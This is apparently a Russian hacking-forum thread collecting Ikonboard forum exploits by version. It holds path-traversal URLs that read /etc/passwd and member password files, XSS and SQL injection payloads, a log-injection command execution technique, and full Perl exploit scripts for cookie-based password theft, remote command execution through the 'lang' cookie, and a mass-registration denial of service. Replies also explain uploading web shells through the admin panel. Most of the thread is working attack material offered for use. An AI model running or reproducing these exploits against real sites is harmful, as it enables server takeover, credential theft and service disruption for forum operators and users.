Ikonboard 1.x Уявимость позволяет просмотреть содержимое любого файла, например файл с паролем пользователя форума. Code: http://www.example.com/cgi-bin/ikonboard/help.cgi?helpon=../../../../../etc/passwd%00 This would show the password file, if it is readable with the privileges of the web server. http://www.example.com/cgi-bin/ikonboard/help.cgi?helpon=../members/<member>.cgi%00 This will replace <member> with the member name and it show the board-password (this works with administrator accounts as well). Ikonboard 2.1.7 01 декабря, 2000 Проблема происходит в операции сценария register.cgi. Из-за недостаточной проверки параметров, можно выполнить программы, с привилегиями процесса Web сервера. Устанавливая переменную $SEND_MAIL в URL, можно определить программу (&SEND_MAIL=/path/program), которая будет выполнена в системе. Этот недостаток позволяет пользователю получить доступ к системе, выполняющей ikonboard. Ikonboard 2.1.7b Уязвимость позволяет просмотривать произвольные файлы в системе: PHP: topic.cgi?forum=5&topic=../../../../../../../../../../../../../etc/passwd video: http://video.antichat.ru/file42.html Ikonboard 2.1.9 Beta phpBB 1.4.2 Активная XSS: PHP: [img]javasCript:alert('This is the test')[/img] Ikonboard 2.1.9 25 сентября, 2002 Ikonboard Cookie filter vulnerability (Повышение прав, заливка шела) Here the variable $filename come from Cookie amembernamecookie not filter "..", attacker can sent a fake cookie("amembernamecookie"), set up or edit the file on the system, because the write file variable not filter, so the attacker can write any content to the file, and gain the bbs administrator's privilege. Code: File:Search.cgi ---[L.55-56]--- $inmembername = cookie("amembernamecookie"); $filename = $inmembername; --- As we can see, $inmembername is the get for cookie 'amembernamecookie' ---[L.66-]--- $searchfilename = "$ikondir" . "search/$filename"; --- Exploit: http://aoh.name/sploit/aohib.txt PHP: #!/bin/perl use LWP::UserAgent; use HTTP::Cookies; if(@ARGV < 2) { ause(); exit();} $h=$ARGV[0]; $u=$ARGV[1]; $www = new LWP::UserAgent; print "[~] Attacking $h\n"; $res = $www->get("http://$h/cgi-bin/ikonboard/search.cgi?action=display" , 'Cookie' => "amembernamecookie=../members/$u.cgi%00;") or err(); if($res->content() =~ /$u/) {print "[+] Forum may be vulnerably"; } else {err();} $res->content() =~ /forum=(\w+)&topic=(\w+)/; print "\n[~] Login:$1 \r\n[~] Password:$2"; sub ause() { print "\n==[ AOH.NAME ]==\n\n"; print "<----------------------------------------------------->\n"; print "Ikonboard all versions users Pass view exploit \nBy Art of Hack security team [Slon, ZxZ]\r\n"; print "Ussage: aohib.pl <host> <user>\r\n"; print "<----------------------------------------------------->\n"; } sub err() {print "[-] Forum is NOT vulnerably"; exit();} Ikonboard 2.1.9 RussianFullPack Уязвимость в Ikonboard позволяет удаленному пользователю выполнить XSS нападение Уязвимость найдена в скрипте misc.cgi в форуме Ikonboard 2.1.9 в полях "aimname" и "UIN" PHP: misc.cgi?action=aim&aimname=<script>javascript:alert('hello')</script> PHP: misc.cgi?action=icq&UIN=<script>javascript:alert('hello')</script> Ikonboard 2.1.9 RussianFullPack Уязвимость в Ikonboard в search.cgi позволяет удаленному пользователю изменить содержимое логов поиска, чтобы выполнить произвольные команды на сервере. Уязвимость обнаружена в сценарии search.cgi. Скрипт не проверяет параметры поиска, занося их в лог файл. Т.к. лог файл храниться в папке /cgi-bin/board/search, то при вызове лог файла, последний вызовется, как скрипт. Тем самым, придав сохраняемым в лог параметрам вид выполняемых perl - функций, становится возможным выполнять команды. Взломщика интересует 2 параметра. Первый параметр, вносимый в лог - это CUR_TIME, задав его значение как "#/usr/bin/perl" взломщик задаст первую строку лога. Второй параметр SEARCH_STRING, задав вместо него "print 'Content-type: text/html\n\n'; system('ls');", взломщим получит выполнение команды "ls". Важно заметить, что двойные кавычки фильтруются сценарием, но их нужно заменить на одинарные. Знаки ">" и "<" так же фильтруются, поэтому открыть файл на запись не состоит возможным. Так же стоит заметить, что при использовании функции поиска зарегистрированным пользователем лог файл имеет название [USERNAME]_sch.txt, если пользователь не зарегистрирован в форуме, то файл имеет название Guest[IP-адрес без точек]_sch.txt. (например, Guest127001_sch.txt). Пример/Эксплоит: Эксплоит под Windows Apache (perl) вложен ниже. Проверено на локальной системе. Содержание Guest127001_sch.txt после эксплоита: PHP: #!perl print 'Content-type: text/html\n\n'; system('dir'); Ikonboard 3.0.0 05 июня, 2002 Ikonboard – доска объявлений, осуществленная в Perl. Ikonboard может быть развернута для Linux, UNIX и Windows систем. Ikonboard разрешает пользователям загружать Flash содержание, однако, возможно обработать Flash файл таким способом, что злонамеренный JavaScript будет включен в действие getURL. Если пользователь просмотрит сообщение, содержащее злонамеренный Flash файл, JavaScript, включенный в действие getURL, выполнится в пределах контекста сайта, выполняющего Ikonboard. Уязвимость может использоваться для организации различных нападений против Web приложения (напр. Перехвата опознавательных мандатов пользователей Ikonboard). Exploit: _http://www.securitylab.ru/analytics/216391.php Ikonboard 3.1.0, 3.1.1, 3.1.2, и 3.1.3 Возможно выполнить произвольные SQL команды на уязвимой системе Уязвимость существует из-за некорректно обработки входных данных в параметрах 'st' и 'keywords' сценария 'ikonboard.cgi'. Удаленный атакующий может выполнить произвольные SQL команды на уязвимой системе. Пример: PHP: http://[target]/support/ikonboard.cgi?act=ST&f=27&t=13066&hl=nickname&st=1' http://[target]/support/ikonboard.cgi?act=Search&CODE=01&keywords='&type=name&forums=all&search_in=all&prune=0 IkonBoard 3.1.1 08 апреля, 2003 Уязвимость в проверке правильности ввода обнаружена в IkonBoard. Удаленный пользователь может выполнить команды на сервере. Как сообщается, функция LoadLanguage() в 'Sources/Lib/FUNC.pm' не в состоянии фильтровать данные пользователя в 'lang' куки. Поскольку в последствии результаты передаются к Perl eval() функции, как часть имени директории, удаленный пользователь может создать специально обработанный 'lang' куки, чтобы выполнять произвольные команды на системе. Эксплоит: PHP: #!/usr/bin/perl -w use strict; my $HOST = 'www.example.domain'; my $PATH = '/cgi-bin/ikonboard.cgi'; use IO::Socket; my $sock = IO::Socket::INET->new("$HOST:80") or die "connect: $!"; $sock->print(<<END) or die "write: $!"; GET $PATH HTTP/1.1 Host: $HOST Cookie: lang=%2E%00%22 Connection: close END print while <$sock>; Ikonboard 3.1.5 (3.1.4) Уязвимость позволяет производить листинг директорий сервера Сама уязвимость находится в Панели управления ----> Настройки аватара ! Щелкаем на настройку аватара как всегда увидим папки аватаров и ниже списки самих картинок. Ссылка будет иметь вид : cgi-bin/forum/ikonboard.cgi?act=UserCP;CODE=01;MODE=1 Заглянем в код страницы и увидим что меню выбора папок имеет id useravatar_dir Добавим и просмотрим : PHP: cgi-bin/forum/ikonboard.cgi?act=UserCP;CODE=01;MODE=1;useravatar _dir=../../../ ======= P/s:Много кто про Ikonboard спрашивал,многим пригодиться .Извените если что-то пропустил буду пополнять раздел.Пожайлусто тока не надо говорить что это бред,Ikonboard это всёже тоже форумы и все ими пользуються .Всем спасибо за точто я у вас отнял дрогоценное время на чтиво этого топика -
скорее дело в том, что в скрипте прописана папка в которой лежит форум как $res = $www->get("http://$h/cgi-bin/ikonboard/search.cgi?action=display", при это реально форум может лежать в совершенно в другом месте, поэтому я изменил это строчку до вида $res = $www->get("http://$h/search.cgi?action=display" , а далее по ходу в командной строке прописываю весь path форума, такой вариант более практичный. если не прав поправтье.
*************Внимание - Внимание***************** Уважаемые пользователи, стыд да срам. Впредь флуд в этой теме, а также в подобных темах, будет строго наказываться. Это первое и последнее предупреждение. *************Внимание - Внимание***************** *************Attention - Attention***************** Dear users, shame on you. Flood in this and similar themes will be strictly punished from now. It is last warning *************Attention - Attention*****************
Загрузка произвольного файла.. (т.е. шелла) В Админке.. Upload Smiles --> Выбираем произвольный файл (с любым абсолютно расширением) Стандартно смайлы грузятся в /non-cgi/emoticons/ Дописываем... В графе File Name /../shell.php (Напирмер) Шелл соответсвенно загрузится в /non-cgi/ Вообще можно грузить в любую директорию в которой разрешена запись. Таким образом получалось загружать файл shell.cgi в папку /cgi-bin/ Но использовать не всегда удается... Кое где админы правильно выставляют права..
Залить шелл можна намного простым способом : Зайти в файловый менеджер ,который есть в админке ,и залить в любую папку свой шелл , но если форум правельно настроен ,то шел может не сработать , но под менеджером есть строка в которой можна с помощю команды chmod выставить нужные права и шелл будет функционален
Ikonboard <= 3.1.5 (Register Users) Denial of Service Exp Code: #!/usr/bin/perl ##################################### # Ikonboard Register Multiple Users Denial of Service # Code Written By Pr0T3cT10n <[email protected] > # KamikaZ Security Team <http://www.kamikaz-team.com> # ISRAEL ##################################### use warnings; use strict; use IO::Socket; my $host = $ARGV[0]; my $path = $ARGV[1]; my $rand = rand(10); if(!$ARGV[1]) { print "#######################################################\n"; print "# Ikonboard Register Multiple Users Denial of Service\n"; print "# Code Written By Pr0T3cT10n\n"; print "#######################################################\n"; print "# [host] [path]\n"; print "# host.com /forum/\n"; print "#######################################################\n"; exit(); } for(my $i=0; $i<9999; $i++) { my $name = "KK_" .$rand.$i; my $data = "act=Reg&CODE=02&COPPA=&UserName=" .$name. "&PassWord=123456&PassWord_Check=123456&EmailAddress=" .$name. "\@host.com&MEMBER_NAME_R=KamikaZ_Bot&SEX=1&LOCATION=127.0.0.1&HIDE_EMAIL=1&WEBSITE=http%3A%2F%2Fwww.kamikaz-team.com&AOLNAME=&ICQNUMBER=&MSNNAME=&YAHOONAME=&INTERESTS=&SIGNATURE=http%3A%2F%2Fwww.kamikaz-team.com&Post=&agree=1"; my $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $host , PeerPort => "80") or die("[-] Connection faild.\n"); my $pack = "POST " .$path. "cgi-bin/ikonboard.cgi HTTP/1.0\r\n"; $pack.= "Host: " .$host. "\r\n"; $pack.= "Content-Type: application/x-www-form-urlencoded\r\n"; $pack.= "Content-Length: " .length($data). "\r\n\r\n"; $pack.= $data; print $socket $pack; syswrite STDOUT, "+"; } print "[+] Done..\n";
Ikonboard 3.1.1 и Ikonboard 3.1.2a Code: #!/usr/bin/perl # # Date: 5 May 2003 # Author: snooq [http://www.angelfire.com/linux/snooq/] # # Ikonboard 3.1.1 Remote Command Execution PoC # ============================================ # This bug was found by Nick Cleaton. # # For more info and patch, go to: # http://archives.neohapsis.com/archives/bugtraq/2003-04/0027.html # # Use at your very own risk. # # Greetz.. my team mates: JF, Nam, ET.. # And some new frens: Kader, Bufferoulis, Neil... ;) # use Socket; use FileHandle; if ($ARGV[0] eq '') { print "Usage: $0 <host> [cmd] [path]\n"; exit; } my $port=80; my $host=$ARGV[0]; my $addr=getaddr($ARGV[0]); my $cmd=$ARGV[1]?($ARGV[1]):"/bin/uname -a"; my $path=$ARGV[2]?($ARGV[2]):"/cgi-bin/ikonboard.cgi"; my $buff=URLEncode(".\0\" unless(1);" ."print \"Content-type: text/plain\\r\\n\\r\\n\";" ."print \"---BEGIN---\\n\".`$cmd`.\"\\n---END---\";exit;#"); socket(SOCKET,PF_INET,SOCK_STREAM,(getprotobyname('tcp'))[2]); connect(SOCKET,pack('Sna4x8',AF_INET,$port,$addr,2)) || die "Can't connect: $!\n"; SOCKET->autoflush(); print SOCKET "GET $path HTTP/1.1\r\n"; print SOCKET "Host: $host\r\n"; print SOCKET "Cookie: lang=$buff\r\n"; print SOCKET "Connection: close\r\n\r\n"; print "Ikonboard Exploit, by snooq [ jinyean\@hotmail.com ]\n\n"; while (<SOCKET>) { if (/^---BEGIN---/) { print "> $cmd\n"; while (<SOCKET>){ if (/^---END---/) { exit; } print; } } } print "$host seems not vulnerable.\n"; exit; sub getaddr { my $host=($_[0]); my $n=$host; $n=~tr/\.//d; if ($n=~m/\d+/) { return pack('C4',split('\.',$host)); } else { return (gethostbyname($host))[4]; } } # URLEncode routine, courtesy of Glenn Fleishman sub URLEncode { my $theURL=$_[0]; $theURL=~ s/([\W])/"%".uc(sprintf("%2.2x",ord($1)))/eg; return $theURL; }